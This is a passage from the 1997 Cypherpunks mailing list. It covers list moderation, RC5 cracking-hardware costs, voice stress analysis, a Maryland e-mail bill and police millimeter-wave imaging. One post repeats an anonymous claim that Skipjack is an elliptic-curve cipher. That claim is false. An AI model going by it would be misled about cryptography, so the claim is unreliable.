this item on >the subject; he said it's okay to post it. > > > >>From: Spectre334 at aol.com >>Date: Sun, 2 Feb 1997 09:31:17 -0500 (EST) >>To: jimbell at pacifier.com >>cc: BLAMES2778 at aol.com, AFSCA at aol.com, JLeek426 at aol.com >>Subject: VOICE STRESS ANALYSIS >> >>MR. BELL: >> >>I FOUND YOUR QUERY ABOUT VOICE STRESS ANALYSIS ON THE INTERNET, AND I TOO, >>HAVE FOUND A DEARTH OF INFORMATION THERE - UNTIL NOW. >> >>I'M PLEASED TO REPORT THAT VOICE STRESS ANALYSIS (VSA) IS ALIVE AND WELL. IT >>HAS BEEN QUIETLY PERFORMING IN THE SHADOW OF THE POLYGRAPH FOR MANY YEARS. >> NOW, HOWEVER, IT IS COMING INTO ITS AND IS USED IN MANY STATES TO AID IN >>CRIMINAL INVESTIGATIONS AND OTHER APPLICATIONS. >> ... >>THE DIOGENES GROUP, INC., OF WHICH I AM PRESIDENT, HAS DEVELOPED A TOTALLY >>DIGITAL APPROACH TO VSA, AND BEGAN DELIVERING SYSTEMS TO LAW ENFORCEMENT >>AGENCIES IN DECEMBER, 1996. THE PREMIER DIOGENES VSA PRODUCT IS REDUCED TO >>THE SIZE OF A NOTEBOOK COMPUTER, BUT PRODUCES REALTIME PROCESSING FOR >>SOFTCOPY DISPLAY, AND HARDCOPY PRINTING WITHIN SECONDS. >> >>YOU MAY BE FAMILIAR WITH THE PREVIOUS STATE-OF-THE-ART, WHICH WAS A >>RELATIVELY LARGE ANALOG MACHINE, USING A SINGLE CHANNEL AND PRINTING OUT THAT >>DATA ON A ROLL OF THERMAL PAPER. THOSE DAYS ARE GONE FOREVER. >> >>IF YOU WOULD LIKE MORE INFORMATION ON THE DIOGENES GROUP AND ITS PRODUCTS, >>PLEASE USE THIS CHANNEL TO SEND ME YOUR MAILING ADDRESS, PHONE NUMBER, AND >>FAX NUMBER. >> >>THANKS FOR YOUR INTEREST IN VOICE STRESS ANALYSIS. ... Check the Readers Guide for the last couple of years. I don't have my Popular Electronics collection handy, but not too long ago they put out the plans to a smaller unit based around some Cell Phone part. It operated on a single frequency as opposed to a varient modulation of the voice. This allowed the unit to be much smaller and simpler, sacrificing some of the accuracy for a reasonable price (PC board, parts and case available for, I think, less than $100). The whole unit fit in a case about the size of a transistor radio and used a couple of bar graph displays (LED) for output. The whole operating theory is regulary printed with the schematics, and a parts list and foil diagrams are included for those who want to make the project from scratch. While your at it, look up the subliminal mixer from about 1992, I made one of these and only prevented from using it by the lack of a decent power supply. The single frequency mentioned above is further explained in the text. The local library can get a copy of either of these issues, or any others that catch your interest, for you if you ask really nicely. From PADGETT at hobbes.orl.mmc.com Mon Feb 3 16:27:44 1997 From: PADGETT at hobbes.orl.mmc.com (A. Padgett Peterson P.E. Information Security) Date: Mon, 3 Feb 1997 16:27:44 -0800 (PST) Subject: RC5-12/32/5 contest solved Message-ID: <970203192628.2021835b@hobbes.orl.mmc.com> >I received a nice flyer in the mail the other day from "Chip Express" >(www.chipexpress.com, 800-95-CHIPX). They are offering Laser >Programmed Gate Arrays. It appears to be a reasonable way to get some >Wiener chips built. As I recall, the Wiener design required about >23,000 gates. Their blurb had the following table in in: > FPGA Gates ASIC Gates 500 Units 1000 Units 5000 Units > 40,000 20,000 $77 $45 $10 > Not Avail 200,000 $176 $150 $82 First I can buy a 486DX-66 (with fan) for $37, but to make it into a PC takes just a wee bit more. Second, there is a world of difference in speed between a Field Programmable Gate Array and an Application Specific Integrated Circuit. The second is much faster (have heard of up to 200 Mhz) but doubt that you can get there with a laser (probably where the 50 Mhz figure comes from). I suspect you will need to have a mask made first - that is where the real money goes. However lets consider that you are really lucky and the first mask works and you get 100% yield (good chips). Next you need a backplane with an input mechanism to prime each of those chips with the text to break (will assume you have built in the initialization sequences for each chip). Then you need a path to provide the KPT to the XOR at the output, powersupply, RF shielding, and a few other minor items (can probably use a PC for a front end). Then, you need a way to report success but that is trivial. Finally, you need to hope that none of those 5000 chips experiences infant mortality or that you have some scheme to detect if that happens and to which chip (was there BITE in the design ?). Personally, would design the 5,000 to provide possible answers (say 2^32) as an initial step and then push that into a single MasPar or similar. Might find out some interesting things that way while reducing the overall complexity. Just some food for thought. Warmly, Padgett ps couple of people last year were working with FPGAs, I corresponded with them briefly. Why not ask them how my "guesstimates" correlated with their experiments... From weidai at eskimo.com Mon Feb 3 17:01:39 1997 From: weidai at eskimo.com (Wei Dai) Date: Mon, 3 Feb 1997 17:01:39 -0800 (PST) Subject: what's in a name? Message-ID: I've stayed out of the debate about list moderation so far, but a recent post from tmcghan at gill-simpson.com reminds me of something I've been thinking about. An interesting way to look at what happened is that John Gilmore owns the name "cypherpunks at toad.com" and has chosen to exercise that ownership. Even though those of us who disagree with the way he has done so are free to leave and set up our own mailing list, it is costly to do so, and the problem of central name ownership remains. List subscribers have made investments that are specific to the name "cypherpunks at toad.com", and most of the cost of switching to a new list is in the new investments they would have to (re)make. The fact is that a promise of no censorship is not enough incentive for us to do so. I suspect that the hierarchical nature of name ownership on the Internet today will be an important technological barrier for the establishment of truly anarchic virtual communities. Unless this problem is solved, the closest we'll come is pseudo-anarchies that exist with the tolerance of beneficent dictators. Wei Dai From aba at dcs.ex.ac.uk Mon Feb 3 17:10:25 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Mon, 3 Feb 1997 17:10:25 -0800 (PST) Subject: Dissolving Choke Points In-Reply-To: <199702032011.MAA01075@toad.com> Message-ID: <199702040045.AAA00292@server.test.net> Peter Hendrickson writes: > There are lessons to be learned here. One is that censorship does > not promote a stimulating and creative dialogue. The cypherpunks list > right now is about as interesting as hanging out by the 7-11. Censorship adds a social hierarchy, and this is inevitably resented. A similar problem existed with ICS (Internet Chess Servers), they include a MUD like facility where users can discuss chess. For misc reasons certain behaviour was frowned on, and a system of control was added to the software where certain users where given moderator status, and could kick others off. The fact that some of the moderators were particularly poor players helped to annoy others who though outspoken, where good chess players, and led to the particularly long thread in alt.chess (or whatever group it was) titled `guppies rule the goldfish bowl' or something. (A `fish' is a newbie chess player, a guppie being a small fish,...) Interesting repetition of the social phenomena of resentment of power in electronic forums (however well intentioned, and for whatever perceived social good). > Another lesson is the danger of choke points. We can see how > tempting it is for people to exercise their control. Even John Gilmore > was unable to restrain himself from involuntary social engineering > experiments. Who would we have considered to be more trustworthy? Quite. For a pedigree of championing free speech, and unpaid efforts to further freedom, he was high up on the list. I'd feel happier if he was joining in with these discussions, rather than getting interested to the extent to set up moderation, even though not participating in the discussions. > [distributed list homing ideas] sounds good. But what about USENET groups? They're distributed, what feature of your proposed solution is superior to using USENET groups distribution mechanisms in your opinion? Several times in the past, a USENET newsgroup alt.cypherpunks was suggested. Some people were against it because they felt that it would attract more noisy posters. Perhaps it is time to reconsider the benefits of alt.cypherpunks. (As an aside, it is ironic that John Gilmore was the guy who started the alt.* USENET hierarchy, specifically to facilitate freedom of speech). > P.S. I like and respect John and Sandy and I've learned a lot from > both of them. While basically well-intentioned, they just made a > mistake in this instance. Agree. Also, the quicker they acknowledge their actions as mistakes, and correct the results, the less their reputations will suffer. Perhaps at the end of the trial moderation experiment would be a good time to change position without loosing face. (If acknowledging mistakes bothers them). Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Message-ID: <199702032348.XAA00259@server.test.net> Lucky Green writes: > I believe that Cypherpunks is beyond hope of recovery. In fact, each day > Cypherpunk (as in cypherpunks at toad.com) lives on, it does damage to the > cause. Let's kill the list. Once and for all. Let the hard core crypto go > to Coderpunks, the politics to Cryptography, and the garbage into the void. What about the leaks? (rc4.c, Mykotronics dumpster contents, etc) Where do they go? You expect Perry to stick his neck out and approve them? (Perry Metzger is the moderator of cryptography at c2.net, started recently as a moderated version of cypherpunks for those who don't know what the `cryptography' list is). The existance of cryptography argues against the need for `cypherpunks' to be moderated. Why two competing moderated lists? Secondly the status of garbage is in the eye of the beholder. There are a few posts which are probably considered garbage by near everyone, but lots of other stuff which really just depends on what the reader is interested in. The problem with censorship or moderation is that it waters down the absolutism of free speech. Free speech in electronic media, with cypherpunks type I, and type II remailers, is the closest thing to truly free speech yet. A lot of people seem to regard Jim Bell's assasination politics as suitable material for censoring. Yet it is pretty crypto relevant. Sandy's job is pretty hard to do. For instance I recently posted this, which ended up in cpunks-flames, due to being in a thread which contained a mild flame 2 messages back: : Diffie-Hellman key generation, there are two main ways of generating : the diffie-hellman prime modulus, method 1: : : p = 2q+1 : : where q is a prime also. : : And method 2: : : p = r.2q+1 : : where q is a prime and r is a randomly generated number. : : With method 1, the security parameter is the size of p in bits (or : size of q, as they are related). : : With method 2, there are two security parameters, size of q and size : of p in bits. : : Method 2 has the advantage that key generation is faster as it is : quicker to generate new random numbers r, than to repeatedly generate : trial prime q as you have to do in method 1. However is the security : weaker in method 2? What size of p and q do you have to use to get : the same security as for same size of p in bits as in method 1? What : should be the relationship between the size of p and q? (I freely admit to injecting additional crypto relevance just for the fun of seeing it be filtered cpunks-flames -- though I was interested in discussion also). > I am well aware of the name recognition and reputation capital associated > with CP, still I believe it best to *kill the list*. I'd prefer to see various filtering services offered, and the list retained. My main objection with the moderation experiment is that the main list was renamed. Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Message-ID: <199702040027.AAA00276@server.test.net> writes: > in a message allegedly from: "Timothy C. May" > > > I would have had no problem had John announced that he was creating > > a new list, the "Good Stuff" list, with Sandy has his Chooser of > > Good Stuff. > > > But by making the _main list_ the censored one, this skewed things > > considerably. > > > But the clear message by having Sandy censor the > > main list (the default list, the list name with the main name, the > > list we all know about, etc.) > > Now that the horse is out of the barn, ( or maybe not? ), I can't help > but ask whether one specific 'change to the change' would have > satisfied most of your objections: retaining 'cypherpunks' as the > name of the unedited, all-the-crud-you-can-read-and-then-some, > version, and adding an 'cp-worthwhile' list for those of us who prefer > not to wade thru mountains of garbage to glean a few precious tidbits. That was the objectionable part of the moderation experiment to me. > What's in a name? Is perception more important ( to you ) than > reality? If just swapping names between cp and cp-unedited would make > such a large difference, I humbly suggest to you that you consider how > much labels need to matter. Is the title of the group more important > the the content? From where I sit, this looks a lot like a > style-over-substance complaint. There is a lot in a name. The name `Cypherpunks' has, or had a reputation. Tricks like censoring the list are not helping that reputation. This wording indicates that the other two lists are to satisfy purists: (relevant output from sending message with body `lists' to majordomo at toad.com) : cypherpunks (THE MAIN LIST) Fermenting ideas on crypto and society : cypherpunks-flames (FLAMES DELETED BY MODERATOR) Ideas on crypto and society : cypherpunks-unedited (THE UN-MODERATED LIST) Ideas on crypto and society The naming convention indicates that cypherpunks is the main list, as does the ordering (moderated first). The text in the sign up message: (extracts from output from sending message with body `info cypherpunks' to majordomo at toad.com) : cypherpunks moderated to suppress spam and flames : cypherpunks-unedited all submissions, just as they arrived : cypherpunks-flames the submissions that didn't pass moderation Also I note in passing that if I recall correctly this section used to give Hugh Daniel's email address. Seems John is managing majordomo himself now? Is Hugh's no longer being list manager related to the moderation decision? : For other questions, my list management address is not the best place, : since I don't read it every day. To reach me otherwise, send mail to : : gnu at toad.com > It may also be worth noting that the current 'status quo' is a > transient experiment, with a fairly short time limit. When JG, > Sandy, et al. evaluate the results with an eye to future > direction(s), they may well consider an 'inverted default' for the two > list names (i.e.: cp / cp-unedited) It would be nice also if JG, Sandy et al, took some notice of the list opinions next time. It really would have been better to create a _new_ moderated list, rather than take over the existing list address, and subscribers. Maybe those who initiated the moderation experiment thought they wouldn't get many people moving over to the moderated list if they had to go to that effort. Another alternative would have been to discontinue `cypherpunks' and start `cypherpunks-edited' and `cypherpunks-unedited' forcing people to choose. I wouldn't have liked that either, but it would have been a better experiment. (Likely that would have lost many altogether, who simply wouldn't have bothered to resubscribe at all). Several times in the past, a USENET newsgroup alt.cypherpunks was suggested. Some people were against it because they felt that it would attract more noisy posters. Perhaps it is time to reconsider the benefits of alt.cypherpunks. (As an aside, it is ironic that John Gilmore was the guy who started the alt.* USENET hierarchy, specifically to facilitate freedom of speech). Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 --- begin forwarded text Date: Mon, 3 Feb 1997 19:25:51 -0500 (EST) To: Multiple Recipients of e$pam From: e$pam at intertrader.com (e$pam) Reply-To: e$@thumper.vmeng.com X-Comment: To unsubscribe, send any email to e$pam-off at intertrader.com Precedence: Bulk Subject: Embarrass a Marylander, Go to Jail X-orig-from: Randy Cassingham X-e$pam-source: Various Forwarded by Robert Hettinga ----------------------------------------------------------------------- Date: Mon, 3 Feb 1997 14:37:56 -0700 (MST) From: Randy Cassingham Subject: Embarrass a Marylander, Go to Jail To: listmom-talk at skyweyr.com Mime-Version: 1.0 Precedence: Bulk Reply-To: listmom-talk at skyweyr.com Passed on without comment. / Randy Cassingham * Author, "This is True" * arcie at netcom.com \ | For info on What I Do, send a blank e-mail to TrueInfo at freecom.com | \ or check out * I promise you'll like it / + FIGHT SPAM! Send a blank e-mail to nospam at mailback.com for help! + ---------- Forwarded message ---------- Excerpted from... ============================================================= AOP Bulletin Friday, February 3, 1997 Volume 97:05 ============================================================= The following is information distributed to members of the Association of Online Professionals and others involved in the online communications industry. Contacts and other information about AOP may be found at http://www.aop.org. ***************************************************** Maryland Recycles Law On "Annoying" E-Mail ***************************************************** A Maryland bill that would make it illegal to send "annoying" or "embarrassing" e-mail was introduced this week by Democratic General Assembly member Samuel Rosenberg. The bill got little support when it was introduced last year, but Rosenberg hopes to play off of recent murders involving electronic mail to see the bill passed. Civil liberties groups argue that the law would be unconstitutional, and that the terms "annoy" and "embarrass" are too vague to be meaningful. If passed, House Bill 778 would amend the state's criminal harassment law to prohibit the use of email to annoy, abuse, torment, harass, or embarrass other people, with violators receiving a fine up to $500 and three years in jail. A similar bill introduced last year is quietly progressing through New York's state legislature. Senate Bill 1414, introduced by Democratic State Senator Ray Goodman, could be voted on in the House early this year. Full text of the Maryland bill can be found at http://mlis.state.md.us/1997rs/billfile/HB0778.htm. -------------------------------------------------- The e$ lists are brought to you by: Intertrader Ltd - Java e$ Software Developers in the UK Visit for details ... Where people, networks and money come together: Consult Hyperion http://www.hyperion.co.uk info at hyperion.co.uk Like e$pam? Help pay for it! See Or, for e$pam sponsorship, see Thanks to the e$ e$lves: Of Counsel: Vinnie Moscaritolo (Majordomo)^2: Rachel Willmer Commermeister: Anthony Templer Interturge: Rodney Thayer HTMLurgist: Cynthia Zwerling --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From sandfort at crl.com Mon Feb 3 17:26:04 1997 From: sandfort at crl.com (Sandy Sandfort) Date: Mon, 3 Feb 1997 17:26:04 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" In-Reply-To: Message-ID: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SANDY SANDFORT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . C'punks, On Mon, 3 Feb 1997, Scott V. McGuire wrote: > Sandy, you said that you thought the list had improved since you began > moderating. How could you think otherwise? When you send an article to > the flames list its because you think the list would have been worse > otherwise. If I wasn't clear, I'm sorry. I think the quality of content and the degree of civility have improved. My extreme example was the increase in polite, on-topic posts from Dimitri, but are others. That's the sort of improvement to which I was referring. S a n d y ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From svmcguir at syr.edu Mon Feb 3 17:26:06 1997 From: svmcguir at syr.edu (Scott V. McGuire) Date: Mon, 3 Feb 1997 17:26:06 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" Message-ID: <199702040126.RAA08926@toad.com> -----BEGIN PGP SIGNED MESSAGE----- I've been quiet about the moderation experiment (and I never posted frequently anyway) but something Sandy wrote requires comment. In responding to Tim, Sandy points to the number of people on the censored list as evidence of the acceptance of the filtering. I am included in that group and object to my silence being interpreted as support. As Tim has pointed out, the bulk of the 2000 or so people who have remained on the filtered list have never been active participants on the list. As we have never heard from them, we don't even know that they were bothered by the flames and noise of the pre-filtered list. And, even if we did know, I don't think that there opinions should count as much as those of the more active participants to the list. A subscription to the list does not make one a member of the Cypherpunks "community". It is the opinion of the members of the community and not the observers of it which should matter. (Even within the community, some people are more a part of it than others, and nobody is more a part of it then Tim.) As for the rest of us on the filtered list who are active (or occasionally active) participants, our remaining on the list still can not be taken as support for censorship. Moderation of the list was announced as a one month experiment. I didn't change my subscription from the filtered to the unfiltered list because I expected this to end in a month and I was willing to participate in the experiment. You can't ask someone to try something for a month to see if they like it and call there use of it in that month evidence that they like it. As long as I am writing, I may as well write the rest of my thoughts. While there was a period between the announcement of moderation and the start of it during which people could (and did) comment on the change, the announcement was clear that there would be moderation. It was indeed a fait accompli. The moderated list should have been offered but not imposed. Then the experiment would have determined how many people thought the list was so bad that they would seek moderation, rather than determining how many thought moderation was so bad that they would seek to avoid it. Sandy, you said that you thought the list had improved since you began moderating. How could you think otherwise? When you send an article to the flames list its because you think the list would have been worse otherwise. I don't think the moderators opinion should be considered in determining if moderation is a good thing. I think there is a conflict of interest there. - -------------------- Scott V. McGuire PGP key available at http://web.syr.edu/~svmcguir Key fingerprint = 86 B1 10 3F 4E 48 75 0E 96 9B 1E 52 8B B1 26 05 -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv iQCVAwUBMvZ3lN7xoXfnt4lpAQGjbgQAs9qqrOZCgHeT19yh6LOS8rsXVAglssVI 2VLCiKb/X0Ny1+p3kzTiit42uykv5IhoCn+GdJF0X08zW02ymRf6JIv2sLksW2ln E+SZuUoLFk18emLIJMEVGNPW7cJEl7/a75IdETrU14RcdBN8F86bm5VK36kyNMIY kPfB825uWxU= =N3va -----END PGP SIGNATURE----- From azur at netcom.com Mon Feb 3 17:26:11 1997 From: azur at netcom.com (Steve Schear) Date: Mon, 3 Feb 1997 17:26:11 -0800 (PST) Subject: New X-Ray Imager Message-ID: <199702040126.RAA08938@toad.com> New X-ray gun trades privacy for safety Reported by Andy C Seen in The Nando Times on 13 August 1996 ---------------------------------------------------------------------------- The Passive Millimeter Wave Imager can X-ray through clothing to "see" a concealed weapon, plastic explosives or drugs. A police officer can surreptitiously aim it into a crowd from as far away as 90 feet. The new X-ray gun is becoming a symbol for an unlikely alliance of civil libertarians and gun owners who fear the fight against crime and terrorism may be waged at the expense of personal freedoms. "I'm incredibly concerned," said John Henry Hingson, a past president of the National Association of Criminal Defense Lawyers, meeting here this past week. "The entire nation could become a victim of illegal searches and seizures and the law is powerless to protect them from these police abuses." But in these nervous times following the the crash of TWA Fight 800 and bombings at the Olympics, Oklahoma City and the World Trade Center, many Americans are now willing to trade some of their privacy and civil liberties for greater security. A poll last week by the Los Angeles Times found that a majority of people -- 58 percent -- said they would curtail some civil liberties if it would help thwart terrorism. Thirteen percent said it would depend on what rights were at stake. The poll didn't ask people to single out any rights. The Clinton administration has proposed increased wiretapping and other anti-terrorism steps, and is doling out research grants for cutting edge anti-crime technology that once may have been intended for only military use. Last year, the National Institute of Justice awarded $2.1 million to three companies to develop weapon detectors for airports, stores and public buildings. Two models are being developed of the Passive Millimeter Wave Imager, a creation of Hadley, Massachusetts-based Millimetrix Corp. The larger one, about the size of a shoebox, is mounted on a patrol car and pointed at the unsuspecting person. The gadget doesn't send out X-rays; instead, it picks up electromagnetic waves emitted by human flesh. Anything that stands in the way of those waves -- like a gun -- or anything that emits weaker waves -- like a bag of cocaine or a plastic explosive -- will show up on a little screen in the patrol car. Clothes emit no waves. Neither do walls, allowing the device to be used from even outside a room. A second model is a smaller, battery-operated version that an officer can operate by hand, like a radar gun. Millimetrix hopes to field test the larger model soon at a police agency. Hingson argues the device runs roughshod over bans against illegal searches and seizures. The law says police can stop and frisk a person only when an officer has a "reasonable suspicion" the person is armed or involved in a crime. Millimetrix points out that while the imager can see through clothing, it still leaves people some privacy. The device's display screen, the company says, "does not reveal intimate anatomical details of the person." Chip Walker, spokesman for the National Rifle Association, noted that devices like the imager threaten the legal rights of people in 31 states who are allowed to carry concealed weapons with proper licenses. "We certainly support efforts to disarm criminals, but we need to be careful that we're not painting with too broad a brush here," he said. Walker said that as troubling as terrorism is, people may be playing into terrorists' hands by giving up their privacy. "One of the broader issues is that if we start giving up certain civil liberties, that essentially means that the terrorists are starting to accomplish one of their goals," he said. Contact email address: acobley at mic.dundee.ac.uk --------------------- (From a TRW development program description) The Passive Millimeter Wave sensor detects thermal energy, which is radiated from objects and reflected from other objects such as the sky in the 94 Giga Hertz frequency band. The advantage of this frequency is that there is little attenuation of the energy by water particles in the air (fog). The camera operates very much like a television camera except that it operates at mm-wave frequencies (near 90 GHz) instead of in the visible spectrum. It has components analogous to a television camera: optics to focus the image, a readout device to convert the electromagnetic energy into electrical signals, signal processing electronics to prepare the signals for display, and display unit to view the scene. The optical system images the blackbody radiation emanating from the scene on the Focal Plane Array (FPA), which consists of an array of small antennas, each coupled to a very small MMIC W-band (90 GHz) direct-detection receiver. ---------------- >From a description of the National Law Enforcement & Corrections Technology Center/Northeast (NLECTC) at Rome Laboratory (more on that later). The Millimeter Wave Imaging Radar Consortium seeks development of a suitable technology and effective, affordable products for concealed weapon detection (CWD) and through-the-wall surveillance (TWS) application --- well-established objectives for both military operations other than war and civilian law enforcement agencies. Consortium members include Millimetrix Corp., South Deerfield, Mass.; Technology Service Corp., Trumbull, Conn.; and Riverside Research Institute of Lexington, Mass. They will contribute $2,035,087 to the research program, while the government's share will be $2,018,491. Military applications of the envisioned technology, in addition to operations other than war, would include use by military police and special forces personnel, all weather aircraft operation, shipboard and airborne missile warning, helicopter obstacle avoidance, battlefield surveillance, fire control, and missile seekers. Civilian law enforcement agencies would be able to use the technology in curtailing terrorist acts and juvenile handgun crimes that frequently involve the use of concealed weapons, bombs and other contraband that cannot be detected using currently available technology see --Steve From azur at netcom.com Mon Feb 3 17:26:16 1997 From: azur at netcom.com (Steve Schear) Date: Mon, 3 Feb 1997 17:26:16 -0800 (PST) Subject: Your tax dollars at work Message-ID: <199702040126.RAA08939@toad.com> NIJ Opens Regional Technology Center in Rome: Representatives of the U.S. Department of Justice, state and local elected officials, and Air Force leaders officially opened the National Law Enforcement & Corrections Technology Center/Northeast (NLECTC) at Rome Laboratory. The Center will work with law en forcement and corrections organizations from 16 states --- stretching from Maine to Minnesota --- to determine operational requirem ents and identify, evaluate, develop, demonstrate and assess new or improved technology applications to meet those needs. The Center will also provide assessment of law enforcement products information, standards and testing. The Northeast NLECTC is co-located with Rome Laboratory within the Griffiss Business and Technology Park. Rome Laboratory is the Air Force's research and development laboratory responsible for command, control, communications, computer and intelligence technologies. The laboratory was selected as a regional technology center for the Justice Department's National Institute of Justice (NIJ) in December 1994. It joins four other regional centers across the country that use existing facilities and resources to support the NI J's Office of Science and Technology and law enforcement and corrections organizations. The Northeast NLECTC will support law enforcement and corrections activities in the following states: Maine, New Hampshire, Verm ont, Massachusetts, Connecticut, Rhode Island, New York, New Jersey, Delaware, Maryland, Pennsylvania, Ohio Michigan, Wisconsin, Io wa and Minnesota. It will facilitate technical interchange between prospective users and developers or technology through regional symposia, exhibitions and workshops. Participants range from the law enforcement and corrections community to the Department of De fense and the commercial sector. Each of the five regional centers has a specific technological focus, with the Northeast NLECTC capitalizing on Rome Laboratory' s more than 40 years of expertise developing technologies that provided the vital eyes, ears and voices for the nation's military. The Rome Laboratory Law Enforcement Team will be working with the Northeast NLECTC to convert a variety of defense technologies to the benefit of law enforcement and corrections. At the current time, efforts are directed at transferring technologies in the foll owing areas: *** Sensors: concealed weapon detection, Over-the-Horizon radar, wall penetration surveillance, and passive location, tracking and tagging. *** Information Technology: image processing, natural language processing, and identification using optical correlation. *** Intelligence Exploitation: speech processing, timeline analysis, automated firearm identification, and forensic sciences. *** Communications: applications of high-speed networks, multiband multifunction radios, and rapidly deployable communications. *** Command and Control: collaborative planning, visualization techniques, and Joint Automated Booking Station. Over the past four decades, researchers at Rome Laboratory have developed a vast array of technological tools for the military to e mploy in our national defense. Within the shared framework of command, control, communications and intelligence, many of those tech nologies apply to the domestic law enforcement mission as well. As one of NLECTC's regional law enforcement technology centers, Ro me Laboratory will continue to make substantial contributions to the war on crime by developing technologies that meet the increasi ng needs of law enforcement. Rome Laboratory Signs Law Enforcement Technology Agreement with City of Rome Representatives of Rome Laboratory and the City of Rome signed a Cooperative Research and Development Agreement (CRDA) to establ ish a formal working agreement for the purpose of testing and evaluating military technologies in a law enforcement setting. The C RDA signing was the first official action following a ribbon-cutting that opened the National Institute of Justice's Northeast Regi on National Law Enforcement & Corrections Technology Center at Rome Laboratory. Signing the agreement were Col. Ted. F. Bowlds, com mander of Rome Laboratory, and Rome Police Chief Merino J. Ciccone. During the five-year agreement, Rome Laboratory will supply a variety of technologies to the Rome Police Department. Police department officers and officials will then test, evaluate and report back to Rome Laboratory regarding the effectiveness of the test technologies. Some of the technical tasks to be performed under t he CRDA are enhancing the computing capability of the Rome Police Department, including improved access to law enforcement data bas es and access to the World Wide Web/Internet, as well as synchronization of 911 Emergency System, computer and alarm time clocks. Rome Police Department personnel will also gain access to advanced technologies such as the "sniffer alcohol detection flashlight," night-vision goggles and hand-held digital assistants. German Magazine interested in Rome Laboratory's Law Enforcement Efforts Dr. Frank Ochmann, a science editor for Germany's Stern Magazine, visited Rome Laboratory to interview engineers and managers involved in law enforcement technology. The interview was requested in light of the April issue of the FBI Law Enforcement Bulletin, which carried an eight-page article covering a wide variety of C3I technologies developed by the Laboratory. Rome Laboratory Awards Funding to Research Consortia for Dual-Use Military and Law Enforcement Applications ROME, N.Y., June 25, 1996 --- Rome Laboratory has awarded funding totaling more than $5 million to three research consortia. Combined with investment by the consortia partners, the total amount of research will approach $17 million. Rome Laboratory will serve as the agent for the Defense Advanced Research Projects Agency (DARPA) in managing the three research programs that were instituted under DARPA's Technology Reinvestment Project. The goal of all three programs is to develop new technologies with applications to both the military and commercial markets. The Quick Reaction Spoken Language Translator (QRSLT) Consortium seeks to develop a product prototype of a hand-held or body-mounted QRSLT that would allow military personnel in a hostile environment or civilian law enforcement personnel in an emergency situation to communicate with a non-English speaking individual using an easily portable, automatic translation device. The government is contributing $2,374,821 to the program, with consortium members sharing a cost of $3,632,852. Consortium members include Language Systems Inc., Woodland, Calif.; Entropic Research Laboratories Inc., Menlo Park, Calif.; and Eloquent Technology Inc. of Ithaca, N.Y. Language Systems Incorporated, developed the initial spoken language translation prototype under the direction and funding of Rome Laboratory, in support of military requirements. The QRSLT will accept spoken English input from a military or law enforcement user, translate the input into Spanish or Arabic, and generate the computer-spoken translation. The translator will also accept spoken Spanish and Arabic inputs and translate them into spoken English output. This will be an innovative advance over currently available "speaking translators," which produce speech based on typed inputs, which cannot accept spoken input, and which are not customized for military or law enforcement operations. The Millimeter Wave Imaging Radar Consortium seeks development of a suitable technology and effective, affordable products for concealed weapon detection (CWD) and through-the-wall surveillance (TWS) application --- well-established objectives for both military operations other than war and civilian law enforcement agencies. Consortium members include Millimetrix Corp., South Deerfield, Mass.; Technology Service Corp., Trumbull, Conn.; and Riverside Research Institute of Lexington, Mass. They will contribute $2,035,087 to the research program, while the government's share will be $2,018,491. Military applications of the envisioned technology, in addition to operations other than war, would include use by military police and special forces personnel, all weather aircraft operation, shipboard and airborne missile warning, helicopter obstacle avoidance, battlefield surveillance, fire control, and missile seekers. Civilian law enforcement agencies would be able to use the technology in curtailing terrorist acts and juvenile handgun crimes that frequently involve the use of concealed weapons, bombs and other contraband that cannot be detected using currently available technology. The Speaker Identification for Law Enforcement Consortium will be funded with $3.2 million, evenly divided between the government and consortium members T-NETIX Inc. of Englewood, Colo., and Dictaphone of Stratford, Conn. The goal of the consortium is to transfer previously developed speaker identification technology into commercial and military applications. With specific emphasis on minimal size, weight, power and cost, the technology is envisioned to have widespread civilian law enforcement surveillance applications. see From shamrock at netcom.com Mon Feb 3 17:40:33 1997 From: shamrock at netcom.com (Lucky Green) Date: Mon, 3 Feb 1997 17:40:33 -0800 (PST) Subject: Moderation [Tim,Sandy] Message-ID: <3.0.32.19970203174114.006ec708@192.100.81.136> At 11:48 PM 2/3/97 GMT, Adam Back wrote: > >Lucky Green writes: >> I believe that Cypherpunks is beyond hope of recovery. In fact, each day >> Cypherpunk (as in cypherpunks at toad.com) lives on, it does damage to the >> cause. Let's kill the list. Once and for all. Let the hard core crypto go >> to Coderpunks, the politics to Cryptography, and the garbage into the void. > >What about the leaks? (rc4.c, Mykotronics dumpster contents, etc) >Where do they go? I have been thinking about this question. I don't really have an answer other than that the more recent leaks posted to this list drew zero response. How many of you remember the anonymous message posted to this list revealing that Skipjack is an elliptic curve cipher? [One of the most respected names in cryptography confirmed this to me in private conversation. No, the person was not privy to the secret specs. The person didn't need to be. :-] If nobody cares about the leaks, why do we need to provide a forum for them? Besides, there are other fora that could be used. sci.crypt or Coderpunks are both good places to post "found" code. -- Lucky Green PGP encrypted mail preferred "I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi From weidai at eskimo.com Mon Feb 3 17:40:54 1997 From: weidai at eskimo.com (Wei Dai) Date: Mon, 3 Feb 1997 17:40:54 -0800 (PST) Subject: what's in a name? Message-ID: <199702040140.RAA09183@toad.com> I've stayed out of the debate about list moderation so far, but a recent post from tmcghan at gill-simpson.com reminds me of 